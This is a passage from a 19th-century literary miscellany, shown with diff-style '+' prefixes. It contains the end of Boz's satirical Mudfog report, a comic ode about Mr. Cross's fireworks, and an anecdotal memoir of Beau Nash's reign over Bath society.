+      "PRESIDENT--MR. CARTER. VICE-PRESIDENTS--MR. TRUCK AND MR.
+                               WAGHORN.
+
+"PROFESSOR QUEERSPECK exhibited an elegant model of a portable railway,
+neatly mounted in a green case, for the waistcoat pocket. By attaching
+this beautiful instrument to his boots, any Bank or public-office
+clerk could transport himself from his place of residence to his place
+of business, at the easy rate of sixty-five miles an hour, which, to
+gentlemen of sedentary pursuits, would be an incalculable advantage.
+
+"THE PRESIDENT was desirous of knowing whether it was necessary to have
+a level surface on which the gentleman was to run.
+
+"PROFESSOR QUEERSPECK explained that City gentlemen would run
+in trains, being handcuffed together to prevent confusion or
+unpleasantness. For instance, trains would start every morning at
+eight, nine, and ten o'clock, from Camden Town, Islington, Camberwell,
+Hackney, and various other places in which City gentlemen are
+accustomed to reside. It would be necessary to have a level, but he
+had provided for this difficulty by proposing that the best line that
+the circumstances would admit of, should be taken through the sewers
+which undermine the streets of the metropolis, and which, well lighted
+by jets from the gas-pipes which run immediately above them, would
+form a pleasant and commodious arcade, especially in winter-time, when
+the inconvenient custom of carrying umbrellas, now so general, could
+be wholly dispensed with. In reply to another question, Professor
+Queerspeck stated that no substitute for the purposes to which these
+arcades were at present devoted had yet occurred to him, but that he
+hoped no fanciful objection on this head would be allowed to interfere
+with so great an undertaking.
+
+"MR. JOBBA produced a forcing-machine on a novel plan, for bringing
+joint-stock railway shares prematurely to a premium. The instrument
+was in the form of an elegant gilt weather-glass of most dazzling
+appearance, and was worked behind, by strings, after the manner of
+a pantomime trick, the strings being always pulled by the directors
+of the company to which the machine belonged. The quicksilver was so
+ingeniously placed, that when the acting directors held shares in their
+pockets, figures denoting very small expenses and very large returns
+appeared upon the glass; but the moment the directors parted with these
+pieces of paper, the estimate of needful expenditure suddenly increased
+itself to an immense extent, while the statements of certain profits
+became reduced in the same proportion. Mr. Jobba stated that the
+machine had been in constant requisition for some months past, and he
+had never once known it to fail.
+
+"A Member expressed his opinion that it was extremely neat and pretty.
+He wished to know whether it was not liable to accidental derangement?
+Mr. Jobba said that the whole machine was undoubtedly liable to be
+blown up, but that was the only objection to it.
+
+"PROFESSOR NOGO arrived from the anatomical section to exhibit a model
+of a safety fire-escape, which could be fixed at any time, in less
+than half an hour, and by means of which, the youngest or most infirm
+persons (successfully resisting the progress of the flames until it was
+quite ready) could be preserved if they merely balanced themselves for
+a few minutes on the sill of their bed-room window, and got into the
+escape without falling into the street. The Professor stated that the
+number of boys who had been rescued in the day-time by this machine
+from houses which were not on fire, was almost incredible. Not a
+conflagration had occurred in the whole of London for many months past
+to which the escape had not been carried on the very next day, and put
+in action before a concourse of persons.
+
+"THE PRESIDENT inquired whether there was not some difficulty in
+ascertaining which was the top of the machine, and which the bottom, in
+cases of pressing emergency?
+
+"PROFESSOR NOGO explained that of course it could not be expected to
+act quite as well when there was a fire, as when there was not a fire;
+but in the former case he thought it would be of equal service whether
+the top were up or down."
+
+       *       *       *       *       *
+
+With the last section, our correspondent concludes his most able and
+faithful Report, which will never cease to reflect credit upon him for
+his scientific attainments, and upon us for our enterprising spirit. It
+is needless to take a review of the subjects which have been discussed;
+of the mode in which they have been examined; of the great truths which
+they have elicited. They are now before the world, and we leave them to
+read, to consider, and to profit.
+
+The place of meeting for next year has undergone discussion, and has
+at length been decided; regard being had to, and evidence being
+taken upon, the goodness of its wines, the supply of its markets, the
+hospitality of its inhabitants, and the quality of its hotels. We hope
+at this next meeting our correspondent may again be present, and that
+we may be once more the means of placing his communications before the
+world. Until that period we have been prevailed upon to allow this
+number of our Miscellany to be retailed to the public, or wholesaled to
+the trade, without any advance upon our usual price.
+
+We have only to add, that the committees are now broken up, and that
+Mudfog is once again restored to its accustomed tranquillity,--that
+Professors and Members have had balls, and _soirées_, and suppers, and
+great mutual complimentations, and have at length dispersed to their
+several homes,--whither all good wishes and joys attend them, until
+next year!
+
+        Signed       BOZ.
+
+
+
+
+A REMONSTRATORY ODE TO MR. CROSS.
+
+BY JOYCE JOCUND.
+
+
+    Good Mr. Cross! we hate the fuss
+    And flames of your Vesuvius,
+    Whose roaring quite convinces us,
+      As each successive shock
+          Grows louder,
+    That you deem a dose of powder,
+    With its deafening noise,
+    As good as medicine given to girls and boys
+      Suffering with measles or small-pock;--
+    In short we do believe, beyond a doubt,
+    You physic us to bring th'ERUPTION--_out_!
+
+    In vain soft balmy sleep one courts,
+    On exhibition nights; all sorts
+    Of terrible and strange reports
+      Drive rest away, and mock it.
+    Think you our wives can quiet keep,
+    Or that a child _can_ go to sleep
+      The while you "squib and _rocket_?"
+      I tell you, sir, I cannot count
+    The dangers to our daughters' fame;
+    But this I'll publish to their shame,
+    They find their _sparks_, and feel love's flame
+      Increasing in _a_-MOUNT!
+    And tho' I'm no amusement hater,
+    Yet, by my study of LAV-A-ter,
+    Vesuvius is a dangerous--_crater_!
+
+    Bethink you, on some gala night,
+    Whether you'd much enjoy the sight
+    Of beasts and birds all taking flight,
+      And from the gardens, making out,
+    Should your ERUPTION, with its jars,
+    Just chance to break their cages' bars.
+      That were indeed a "breaking out"
+          And din
+    I rather think you'd be for "driving in!"
+
+    Come, Mr. CROSS, for once do try
+    To be good-natured, and your name belie;
+    Indulge no more these furious fiery fits;
+        Let such freaks cease,
+    Blow up your Mount Vesuvius--all to _bits_,
+        And prithee let us have--"a LITTLE PEACE!"
+
+
+
+
+MEMOIR OF BEAU NASH.
+
+
+Richard Nash--or Beau Nash, as he is commonly called--was born at
+Swansea, in the autumn of the year 1674. His father possessed a
+moderate income, which he derived from a partnership in a glass
+manufactory; and his mother was niece to Colonel Poyer, a chivalrous
+old Cavalier, who was executed by order of Cromwell for defending
+Pembroke Castle against the assaults of the Roundheads. At the usual
+age young Nash was sent to a private school at Carmarthen, whence
+in due time he was transferred to Jesus College, Oxford, where he
+distinguished himself by an extraordinary and precocious genius for
+intrigue and gallantry. Before he was seventeen, he had got himself
+into at least a dozen delicate dilemmas; and, but for the seasonable
+interference of his college tutor, would have married a female of
+abandoned character, whose wit and beauty had completely turned his
+brain.
+
+Disheartened by such licentious conduct, his father abruptly recalled
+him from the university, and purchased him a commission in the army;
+a profession of which he soon grew weary, the more especially as
+he had little besides the slender pay of an ensign to support him.
+Finding, however, that it was necessary to make some sort of exertion
+in order to obtain a decent livelihood, our Beau entered himself as
+a law-student in the Temple, and for some months applied himself
+assiduously to study. But his natural volatility soon regained its
+usual ascendency over him, and, dismissing all thoughts of acquiring
+fortune and reputation as a lawyer, he set up for a man of wit and
+fashion about town, dressing, as one of his biographers observes, "to
+the very edge of his finances," exhibiting himself conspicuously in the
+side-boxes of the theatres, cultivating the acquaintance of young men
+of rank and wealth, and practising those arts of address and persuasion
+for which he was afterwards so celebrated.
+
+It was while he was a student in the Temple that a circumstance
+occurred which gave a wondrous lift to his sense of self-importance,
+and brought him before the gay world in the very way he most preferred.
+It seems that it had been long the custom of the different inns of
+court to entertain our sovereigns on their accession to the crown with
+a dramatic pageant; and, on the accession of William the Third, Nash
+was appointed to conduct this entertainment, a task which he fulfilled
+so much to his Majesty's satisfaction, that he made him an offer of
+knighthood. But he refused this honour, at the same time hinting that
+he should have no objection to be made one of the Poor Knights of
+Windsor, for then he should have a fortune sufficient to maintain his
+new dignity. The King smiled, but took no further notice of this broad
+hint, for he was not one to give pensions without value received; and
+jokes, even of the first water, always ranked low in his estimation.
+
+[Illustration: BEAU NASH]
+
+This affair of the pageant procured Nash many associates among the
+rich and the titled, who were delighted by his good-humoured vivacity,
+his easy assurance, his clever after-dinner stories, and his familiar
+acquaintance with the habits of town life. Many characteristic
+anecdotes are told of him at this gay period of his life. On one
+occasion, when called on by the masters of the Temple for certain
+accounts, among other items he made this odd charge, "For making one
+man happy, ten pounds." "What is the meaning of this, sir?" said one
+of the dignitaries in his gravest and most authoritative manner. "Why,
+to tell you the truth," replied Nash, "I happened a few days ago to
+overhear a poor man, who had a large family, say that ten pounds
+would make him happy for life, and I could not resist the opportunity
+of trying the experiment." The masters were so much struck with the
+singularity of this explanation, that they not only allowed the charge,
+but even insisted on doubling it, in testimony of their approbation
+of Nash's benevolence. On another occasion, having gone down on a
+sporting excursion to York, our thoughtless Beau lost all his money at
+the gaming-table; and on applying for assistance to a college friend
+whom he met with in the city, was promised the loan of fifty pounds,
+provided he would stand at the great door of the Minster in a blanket,
+just as the people were coming out of church. Nash unhesitatingly
+agreed to do so, but had not stood there long before he was discovered
+by the dean, who had some slight acquaintance with him. "What!"
+exclaimed the divine, "Mr. Nash in masquerade?" "Not so, reverend sir;
+I am merely doing penance for keeping bad company;" saying which, he
+pointed to his companion, who was not a little annoyed at finding the
+laugh thus unexpectedly turned against him. A few days afterwards, Nash
+won another wager by riding naked through a country village on a cow, a
+freak which in those times was considered a clever practical joke!
+
+But the strangest of all his adventures is the following. He was once
+invited by some convivial officers of the navy on board a frigate that
+had just received sailing orders for the Mediterranean; and, after
+spending some hours in revelry, found that during his debauch the
+vessel had set sail, and that to return to land was wholly out of the
+question. He accordingly, nothing loth, made the whole voyage with
+his boon companions, and in the course of it was engaged in action,
+and severely wounded in the leg, while one of his friends was shot
+dead by his side. In after years Nash was singularly fond of repeating
+this story; but as he was apt, like Foote's liar, to be occasionally
+"poetical in his prose," his hearers always received it with a
+wholesome distrust. "I don't believe one word about your having been
+kidnapped on board ship," said a lady of distinction to him one day in
+the Bath pump-room. "Fact, upon my honour," replied the unabashed Beau;
+"and, if you will step with me into another room, I shall be happy to
+show you my leg, which will convince you whether I speak truth or not."
+
+On his return from this naval trip, Nash, who had now reached the
+age of thirty, and had neither fortune nor profession to rely on
+for support, turned his whole attention to gambling. He encountered
+the usual vicissitudes attendant on this course of life, sometimes
+winning, but more frequently losing, but always bearing his reverses
+with equanimity. _Vive la bagatelle!_ was his motto. He was not one to
+sit down and despond because luck had gone against him. If it rained
+one day, he felt sure it would clear up the next; so, shrugged his
+shoulders, and waited patiently the approach of more sunny weather.
+
+We now come to the great epoch in Nash's life,--his accession to the
+throne of fashion! About the year 1705, a short visit paid by Queen
+Anne to Bath had the effect of directing the eyes of the gay world to
+that city. Our Beau, among others, was attracted to it; and, having
+amassed a large sum by gambling, soon made himself conspicuous by the
+splendour of his equipage, his trim attire, courteous manners, and
+invincible good-humour. In those primitive days Bath was little better
+than an ordinary country town; but Nash, with the prophetic eye of
+taste, discerned its capabilities as a fashionable watering-place, and
+by adroitly flattering the local authorities, and worming himself into
+the good graces of all the most influential inhabitants, succeeded in
+obtaining the appointment of Master of the Ceremonies, with sole and
+uncontrolled power to raise subscriptions for building pump-rooms,
+laying out public walks, and making whatever improvements he might
+think expedient. From this period down nearly to the day of his death,
+Nash was, to all intents and purposes, sovereign of the city. King
+George might rule at St. James's, but King Richard ruled at Bath.
+
+    "The eagle he was lord above,
+    But Rob was lord below."
+
+One of the first reforms projected by the new monarch was in the
+dress of his subjects. Previous to his accession to the throne it
+had invariably been the custom for gentlemen to dance in boots. Nash
+resolved to put a stop to this barbarism, and accordingly issued a
+ukase ordering his people never henceforth to make their appearance at
+the Assembly Rooms, save in pumps, silk stockings, and all the finery
+of full dress. For some time this arbitrary mandate was resisted by
+more than one Bath Hampden; but perseverance at length gained the day,
+and the patriots surrendered at discretion. But not only was Nash
+omnipotent at the city of Bladud, but he subdued also Tunbridge Wells
+to his authority. In fact, he was as successful a despot as Napoleon,
+with this difference in his favour,--that he ruled by the force of
+address, while the other ruled solely by force of arms. Napoleon tamed
+refractory subjects by threats of exile or imprisonment; Nash, by
+threats of epigrams in the county newspapers.
+
+Having crushed rebellion by the strong arm of power, and brought to a
+successful issue the important question of boots, or no boots, our Beau
+next proceeded to draw up a social code, which in the strictness with
+which it was enforced, and the benefits it conferred on the community
+for whose use it was intended, may vie with the famous _Code Napoléon_.
+"I shall go down to posterity," said the French emperor, "with my code
+in my hand." Nash has come down to posterity with his code also in
+his hand. We have diligently perused this celebrated document, which,
+although it contains as many violations of grammar as a king's speech,
+is remarkable for the good sense and simplicity of its directions. On
+the conduct, in particular, to be observed by both sexes at public
+assemblies, it is shrewd and explicit to a degree. Here Nash showed
+himself the very incarnation of punctilious etiquette. Even royalty
+itself endeavoured in vain to mitigate the severity of his decrees. The
+Princess Amelia having one night humbly requested him to permit her
+to join in one more country-dance after the hour of breaking up had
+arrived, Nash assured her that the "established rules of Bath resembled
+the laws of Lycurgus, which would admit of no alteration without an
+utter overthrow of all legitimate authority." Of course, as a member of
+the constitutional House of Brunswick, her Royal Highness succumbed to
+the force of this logic.
+
+One of Nash's special objects of dislike, and against which he pointed
+the whole artillery of his sarcasm, was a white apron, then much worn
+by ladies at public assemblies. To such an extent did he carry his
+abhorrence of this article of female apparel, that he actually stripped
+the Duchess of Queensberry one evening at a ball, "and threw her
+apron," says his biographer, "upon the hinder benches among the ladies'
+women;" a significant hint which had all the good effect he could
+have desired. If Peter the Great has been universally praised for his
+address in prevailing on his countrywomen to adopt European costumes,
+surely Richard the Great deserves equal credit for having been able to
+persuade his female subjects to lay aside their darling prejudices in
+favour of aprons!
+
+Nash had now been upwards of three years Master of the Ceremonies at
+Bath; and such was the attention which he paid to its amusements,
+and so numerous the improvements he made in the architecture and
+public walks of the city, that it soon became the most fashionable
+watering-place in the empire. But even this did not satisfy his thirst
+for notoriety, and accordingly he founded another kingdom at Tunbridge
+Wells, whither he was in the habit of travelling once a year, in a
+post-chariot drawn by six greys, with out-riders, French horns, and all
+the paraphernalia of royalty. His arrival at this picturesque spot was
+always followed by that of the nobility and gentry, who regarded him as
+their "Sir Oracle." Even the announcement, "Nash is coming," was quite
+sufficient to raise the price of lodgings, and set every adventurer on
+the _qui vive_.
+
+And here it may be asked, how was it that Nash, who started on his
+career without a sixpence in his pocket, and was generally unsuccessful
+at play, contrived for so many years to maintain such a splendid
+establishment? The answer is soon given. He was a sleeping partner in
+one of the most thriving of the Bath gambling-houses. Connected with
+his transactions in this line we give the following curious anecdotes,
+which will show that whatever were the defects of his head, his heart
+was always in the right place. The Earl of T----, when a young man,
+was inordinately addicted to gambling, and in particular loved to have
+the King of Bath for his opponent. He was, however, no match for his
+majesty, who, after winning several trifling sums from him, resolved
+to attempt his cure, foreseeing that otherwise he would fall a prey
+to adventurers who might not be so forbearing as himself. Accordingly
+he engaged his lordship one evening in play to a very serious amount,
+and won from him, first, all his ready money, then the title-deeds
+of his estates, and, finally, the very watch in his pocket and the
+rings on his fingers. When he had thus sufficiently punished the young
+nobleman for his infatuation, Nash read him a lecture on the flagrant
+impropriety of attempting to make money by gambling, when poverty
+cannot be pleaded in justification of such conduct; after which he
+returned him all his winnings, merely exacting from him a promise that
+he would never play again! Not less generously did he behave to an
+Oxford student who had come to spend the long vacation at Bath. This
+greenhorn, who also affected to be a gamester, was lucky enough to win
+a large sum of money from our Beau, and after the game was ended, was
+invited by him to supper. "Perhaps," said Nash, "you think I have
+asked you for the purpose of securing my revenge; but I can assure you
+that my sole motive in requesting your company is, to set you on your
+guard, and to entreat you to be warned by my experience, and shun play
+as you would the devil. This is strange advice for one like me to give;
+but I feel for your youth and inexperience, and am convinced that if
+you do not stop where you now are, you will infallibly be ruined." Nash
+was right. A few nights afterwards, having lost his entire fortune at
+the gaming-table, the young man blew his brains out!
+
+Though it was one of Nash's foibles to be thought "a lady-killer,"
+yet this did not prevent him from befriending the fair sex whenever
+opportunity offered. He was the means of exposing many a scheming
+libertine, and more than one heiress owed to him her escape from
+the snares of penniless adventurers. About the time of the treaty
+of Utrecht, a certain Colonel M----, a gallant, handsome officer of
+dragoons, was in great favour with all the Bath ladies. As, however,
+he had nothing to depend on but his pay, it was an object with him
+to marry for money; and accordingly he singled out a Miss L----, a
+wealthy heiress, whose father was desirous that she should espouse a
+nobleman of distinction. But the colonel had gained her affections;
+whereupon Nash, who was well acquainted with his circumstances,
+wrote to the young lady's parents, advising them strongly to put an
+end to the connexion, which they did, by abruptly removing her from
+Bath. The disappointed suitor, enraged at the Beau's interference,
+instantly sent him a challenge, which was declined; for, among other
+of his prejudices, Nash held the _monomachia_ or _duello_ in the most
+unequivocal abhorrence. Finding his only chance of retrieving his
+finances thus cut off, the colonel quitted Bath, where his creditors
+were become quite clamorous, and in a fit of desperation hurried over
+to the Continent, and joined the Dutch army in Flanders. Here he
+enlisted himself as a volunteer; while his friends, not hearing of or
+from him for a considerable period, gave out that he had been killed
+in battle. Meantime the nobleman, taking advantage of his rival's
+absence, pushed his suit with ardour; but, before he could bring it to
+a satisfactory conclusion, the young lady's father died, leaving her
+property to the amount of fifteen hundred pounds _per annum_! It was
+at this crisis of her fate that Nash happened to hear that the colonel
+had returned to England, but, fearful of being discovered by his
+creditors, had changed his name, joined a company of strolling actors,
+and was then playing at Peterborough. On learning these particulars,
+our Beau thought that the time was come for him to make reparation to
+the colonel, especially as the lady was now of age, and fully competent
+to make her own choice of a husband. He invites her accordingly to join
+him and some mutual friends in a short trip to Peterborough, where
+they arrive early in the forenoon, and, by way of passing the evening
+agreeably, pay a visit to the theatre. Just as they are entering the
+box, the colonel appears on the stage. The young lady recognises him in
+an instant, and is so much affected by his altered circumstances, that
+she faints away. On regaining consciousness, she finds him standing
+beside her. Nash has brought him there. "You thought me your enemy,"
+said the kind-hearted monarch, "but I was no such thing; I merely
+thought one of you too extravagant, and the other too inexperienced,
+to be likely to make a happy match of it. But the case is altered
+now; if, therefore, you feel inclined to marry, do so in God's name,
+and d--n him, say I, that would part you!" They were married within
+the month, and Nash spent many a pleasant day at their villa in the
+neighbourhood of Bristol.
+
+Mr. Wood, the architect, of Bath, has left on record another anecdote
+of Nash, which redounds equally to his credit. About the period of his
+greatest popularity, there came to the city a young lady well known
+by the name of Sylvia, who, as she was handsome, accomplished, of
+"gentle blood," and possessed of a large fortune, soon became one of
+the ruling belles of the day. Among the number of this lady's admirers
+was a gentleman, nicknamed by his friends the "Good-natured Man," from
+his easy and indolent temper. He was of sadly improvident habits; and
+having contracted heavy debts, which he was wholly unable to discharge,
+he was arrested and thrown into prison, which coming to the ears of
+Sylvia, she went to consult Mr. Nash upon the best means of freeing him
+from his embarrassments. His majesty strongly endeavoured to persuade
+her from interfering in the matter; observing that her interference
+would be sure to be misconstrued, and that to evince such extreme
+interest in a young man who had no claim on her consideration further
+than having occasionally flirted with her in society, would expose her
+to the cruellest calumnies; and, moreover, that she could do him no
+good, for that her entire fortune, ample as it was, would be scarcely
+sufficient to satisfy the demands of his creditors. The thoughtless
+and enamoured girl listened to, but was not convinced by, Nash's
+arguments. She expended a large portion of her property in defraying
+the "Good-natured Man's" debts; but before she could accomplish his
+liberation he died, and she had the mortification to discover that she
+had not only lost the greatest part of her fortune, but, which was
+of more value, her reputation also. In this forlorn condition, her
+spirits broken, and her society avoided by those who had formerly been
+proud to rank themselves among her flatterers, she accepted the offer
+of a plausible old demirep, who kept one of the most splendid gaming
+establishments at Bath, to pay an occasional visit to her rooms, for
+the hag was shrewd enough to foresee that Sylvia's beauty would prove
+a powerful magnet of attraction to the libertines who frequented such
+places. Here Nash used often to meet her, and, believing that she was
+still innocent, however thoughtless her conduct might be, remonstrated
+with her in the kindest terms, and at length succeeded in persuading
+her to take up her residence with Mr. Wood's family in Queen Square.
+While here, Mr. Wood describes her as having been most exemplary in her
+habits, seldom going out, but confining herself to the solitude of her
+chamber, where she spent the greatest portion of her time in reading.
+About a month after she had been domesticated in his house, business of
+importance took her host to London; and it was during his absence that
+Sylvia first meditated the idea of suicide. One evening, after having
+been more than usually cheerful, and amused herself by dandling one of
+Mr. Wood's children in her arms, she ordered supper to be got ready in
+the library, and, having spent some hours alone there, went up into
+her bed-room. On her way, she had to pass through the chamber where
+her host's children lay asleep, and struck with their happy, innocent
+countenances, and the consciousness of her own meditated guilt, she
+burst into tears; but, recovering herself with an effort, hurried
+into her own apartment, carefully locking the door behind her. She
+then proceeded to dress herself in white like a bride's-maid, neatly
+arranged her hair, and, having procured a pink silk girdle, which she
+lengthened by means of another made of gold thread, placed it on the
+table, and, throwing herself on the bed, spent some time in reading.
+About midnight she rose, and, after kneeling for a few minutes in
+prayer, mounted upon a chair, drove a large nail into the closet-door,
+and, attaching one end of the girdle to it, fastened the other tightly
+about her neck, and so hung suspended. Her weight, however, proving too
+much for it, the girdle broke, and she fell to the floor with violence;
+but, still resolute to destroy herself, she made a second attempt, in
+which she unfortunately succeeded. Her death created an extraordinary
+sensation throughout Bath; the coroner's jury brought in a verdict of
+lunacy; and Nash, who, with Mr. Wood, was the only friend the poor girl
+had left, attended her funeral, and did his best to protect her memory
+from insult.
+
+In the year 1734 Bath was honoured by a visit from the Prince of
+Orange, and in 1738 by another from the Prince of Wales, both of whom
+took particular notice of Nash; for which, in return, the grateful Beau
+erected obelisks in their honour. He had now attained the climax of
+his popularity. His word was law; his bow an honour; his acquaintance
+a sure passport into the best circles. The Prince of Wales having made
+him a present of a magnificent gold snuff-box, the rest of the nobility
+thought it incumbent on them to follow the example; and, accordingly,
+it soon became the fashion--a fashion which he most disinterestedly
+encouraged--to give Nash snuff-boxes. As if this were not sufficient
+distinction, the corporation, in a paroxysm of gratitude for the
+benefits which he had conferred on their city, determined on erecting a
+full-length statue of him in the Pump-room, between the busts of Newton
+and Pope, which gave rise to one of Lord Chesterfield's wittiest and
+most caustic epigrams. We subjoin the closing stanza of this brilliant
+gem:--
+
+    'The statue, placed the busts between,
+      Adds to the satire strength;
+    Wisdom and Wit are little seen,
+      But Folly's at full length,"
+
+Poor Nash's brains were half-turned by such brilliant prosperity. He
+had his levees, where he affected all the airs of a legitimate monarch;
+his buffoons, his parasites, and even his poet-laureate. But, so far
+was he from being satisfied with the flatteries constantly lavished on
+him, that his appetite "grew by what it fed upon." If a beggar in the
+street called him "Your honour," he always bowed low to the compliment;
+but if he called him "Your lordship," he would give him every farthing
+he had about him. He has even been known, when in London, to stand a
+whole day at the window of the Smyrna Coffee-house, merely in the hope
+of receiving a passing bow from the Prince of Wales or the Duchess of
+Marlborough!
+
+The numerous dedications to Nash are not the least curious proofs of
+his universal celebrity. Some of these are such exquisite samples of
+the servile, that we cannot resist the temptation of extracting a
+sentence or two from them. One is from a noted highwayman, who was
+taken up for attempting to rob and murder a Dr. Handcock. This scamp,
+whose name was Baxter, published a book, dated from Taunton jail,
+exposing the tricks of thieves and gamblers, which he dedicated to
+Nash, as follows: "As your honour's wisdom, humanity, and interest,
+are the friend of the virtuous, I make bold to lay at your honour's
+feet the following work," &c. Another dedication is from a professor
+of cookery, who says, "As much as the oak exceeds the bramble, so do
+you, honoured sir, exceed the rest of mankind in benevolence, charity,
+and every other virtue that adorns, ennobles, and refines the human
+species. I have, therefore, made bold to prefix your name, though
+without your permission, to the following volume, which stands in
+need of such a patron." We next find a musical composer essaying the
+complimentary. "To whom," asks this sycophantic dedicator, "could I
+presume to offer these, my first attempts at musical composition,
+but to the great encourager of all polite arts; for your generosity
+knows no bounds, nor are you more famed for that dignity of mind which
+ennobles and gives a grace to every part of your conduct, than for that
+humanity and beneficence, which make you the friend and benefactor
+of all mankind!" These dedications, and a hundred others of the same
+calibre, which might have turned the stomach of an ostrich, Nash
+digested with uncommon facility. But it was with the flatteries of the
+poets that he used to be most tickled; and many a hungry browser on
+Parnassus has been rescued by his thirst for praise from the fangs of
+an unimaginative bailiff.
+
+But the hour was at hand when this Wolsey of the fashionable world was
+doomed to experience the caprice and neglect of those circles whom
+he had so long ruled with despotic authority. His sun had attained
+its meridian, and was already journeying westward. Intoxicated with
+self-conceit, and firmly persuaded that he was the first man of the
+age, he began to lay aside those magic arts of address to which he
+owed all his success; became morose and fidgety; and took a pleasure
+in speaking unpleasant truths, which he mistook for wit. He was,
+besides, getting fast on in years; and age, which brings wisdom to
+some, to men like Nash is apt to bring nothing but petulance and
+imbecility. But he was not splenetic without reason; for his fortune,
+which he had never husbanded, diminished rapidly, and he had no earthly
+means left of recruiting it. His greatest grievance, however, was
+the gradual dropping off of his old friends the nobility, who, it is
+said, exerted all their influence with the corporation of Bath to
+get him superannuated, and Quin, the actor, appointed Master of the
+Ceremonies in his stead. This unparalleled ingratitude, as he called
+it, stung Nash to the quick, and he threatened to take his revenge of a
+degenerate aristocracy by writing his memoirs! His intention, however,
+was never carried into effect; which is a pity, for, judging by the
+few scraps of composition he left behind, his book would have been a
+literary phænomenon of the first water.
+
+Nash was now become a confirmed old dotard; nevertheless, he still aped
+the character of a young beau,--still continued to haunt like a spectre
+the scenes of his departed glory. Though the snows of eighty-six
+winters were whitening on his head, it was still his proudest ambition
+to "settle the fashion of a lady's cap," and assign her her proper
+station in a country-dance. This, which, to say the worst of it, was
+but harmless drivelling, roused against him the pious wrath of the more
+straight-laced among the Somersetshire clergy, who pelted him with the
+most minaceous pamphlets; exhorted him to quit the assembly-room for
+the church, and to repent of those colossal enormities of which they
+charitably took for granted he had been guilty. One of these clerical
+pamphleteers addressed him in the following indulgent terms: "Repent!
+repent! or wretched will you be, silly, vain old man, to eternity!
+The blood of souls will be laid to your charge; God's jealousy, like
+a consuming flame, will smoke against you, as you yourself will see
+in that day when the mountains shall quake, and the hills melt, and
+the earth be burned up at his presence." Another says, "God will bring
+you to judgment. He sees me now I write; he will observe you while you
+read. He notes down my words; he will also note down your consequent
+procedure. Not then upon me, not upon me, but upon your own soul will
+the neglecting or despising my sayings turn." How different these
+fanatical fulminations from the honied flatteries, in the shape of
+poems and dedications, on which Nash's vanity had been so long fed!
+
+The poor old man was now hourly decaying; but this quite as much
+from grief as age. The season of snuff-boxes was over; the great had
+altogether forgotten him; and he was preserved from utter penury solely
+by the munificence of the Bath corporation, who granted him ten guineas
+the first Monday of every month. For some weeks previous to his decease
+it was evident that his last hour was at hand; but he himself would
+never admit it. He clung to life with all the tenacity of a Johnson;
+and roundly asserted that he was in robust health at the very moment
+when he was treading, with palsied head and tottering limbs, on the
+threshold of the grave. At length his exhausted powers wholly gave way,
+and he expired in the eighty-seventh year of his age, at his house in
+St. John's Court, Bath, in the spring of 1761.
+
+No sooner was his death known than the press teemed with tributes to
+his memory. The Muses were called on to lament the eclipse of the
+brightest luminary of the age; and epitaphs were written on him,--one
+in Latin, and another in English,--by two of the most accomplished
+scholars in the kingdom. That in Latin, by Dr. King, is a fine sample
+of mock-solemnity, comparing Nash, as a legislator, with Solon and
+Lycurgus, and giving him the preference to both. But, in his own
+capital, the sensation occasioned by our Beau's decease was unexampled.
+The very day after, the corporation, with the mayor at their head, met
+in full and solemn conclave, and voted _nem. con._ fifty pounds towards
+defraying their monarch's funeral expenses. The corpse lay four days in
+state; after which it was conveyed to the Abbey Church, in the midst
+of one of the greatest crowds that had ever assembled in Bath. The
+following week, the principal local journal commented on the mournful
+event as follows: "Sorrow sate on every face, and even children lisped
+that their sovereign was no more. The peasant discontinued his toil;
+the ox rested from the plough; all nature seemed to sympathise with our
+loss; and--the muffled bells rung a peal of bob-major!" It must be
+confessed, to our shame, that we have no such newspaper writing as this
+now-a-days. We have become as unimaginative as steam-engines, and no
+longer indulge in those astounding bursts of eloquence and sensibility
+which used to electrify our grandfathers and grandmothers.
+
+In person Nash was large and awkward, with harsh, strong, and
+irregular features. Nevertheless, he was popular with women, and not
+unsuccessful as a gallant; for he dressed showily, had some wit,
+abundance of small talk, and was by no means encumbered with modesty.
+He used frequently to say of himself, that he was, "like Nestor, a
+man of three generations." The Beau of his youth, he would observe,
+was stiff, solemn, and formal to a degree; visiting his mistress, as
+Jupiter visited Semele, in state; toasting her on bended knees; and
+languishing, a timid suppliant, at her feet, by the hour together.
+The Beau of his manhood was just the reverse; being a pert, grinning,
+lively chatterbox,--such as we meet with in Congreve's comedies; ready
+for any absurd, _outré_ display of sentiment; and deeming it an exalted
+proof of gallantry to eat "a pair of his idol's shoes tossed up in a
+fricassee." The Beau of his old age was a still more extraordinary
+character, for his whole secret in intrigue consisted in perfect
+indifference. If his mistress honoured him with her approbation, well;
+if not, she might let it alone. He had no notion of breaking his heart
+for love. Women were as plentiful as mushrooms, and always to be had
+for the asking. Nash was a great theorist on all matters of sentiment.
+It was a favourite maxim with him that good-humour and fine clothes
+were enough to ruin a nunnery; but that "flummery," or the art of
+saying nothings, was worth them both put together. Women, he used to
+say, dote upon lively nonsense; always talk to them, therefore, in
+the language they best understand. The instant you begin to converse
+rationally with them the game is up, which is the reason why learned
+men make such indifferent lovers.
+
+Next to his powers of gallantry, Nash piqued himself on his wit. But
+he was by no means remarkable for this quality, though never did
+mortal man labour harder to say good things. His best jokes were
+always cracked unawares. The majority of them are well known to the
+world, for Smollett, with the coolest effrontery, has transferred
+them, unacknowledged, into his own novels. We will, however, give one
+or two of them. Meeting one morning, in the Pump-room, a lady who was
+deformed, Nash asked her where she came from. Her reply was, "Straight
+from London." "Then, madam," replied the Beau, "you must have been
+confoundedly warped by the way." Doctor Cheney, on some occasion
+having recommended to him a vegetable diet, he tartly observed,
+"I suppose you would have me go grazing and eating thistles like
+Nebuchadnezzar!" "No, no," said the doctor, who was also a wag, "there
+needs no such metamorphosis; your ears are quite long enough already."
+Being once confined to his house by sickness, the same physician drew
+up a prescription for him, and, calling on his patient next day,
+found him up and well. "I'm glad you had the good sense to follow my
+prescription, Mr. Nash," quoth the leech. "Follow it!" exclaimed the
+other. "Egad, if I had, I should have broke my neck, for I flung it out
+of my bed-room window." We are not without our suspicions that this
+last witticism is a regular Joe Miller, for we have detected it in at
+least a dozen different publications. But this is not to be wondered
+at, for your good joke is the greatest of travellers. The "facetiæ" of
+the old Greek wag, Hierocles, have been naturalised in every language
+of Europe.
+
+Though convivial in his youth, yet, for the greatest portion of his
+life, Nash was rigidly abstemious in his habits. He loved plain dishes,
+seldom remained long at table, and usually contented himself with two
+glasses of wine. But he liked to see his friends enjoy themselves,
+and would encourage them in these elegant and emphatic terms: "Eat,
+gentlemen,--eat and drink, in God's name; spare, and the devil choke
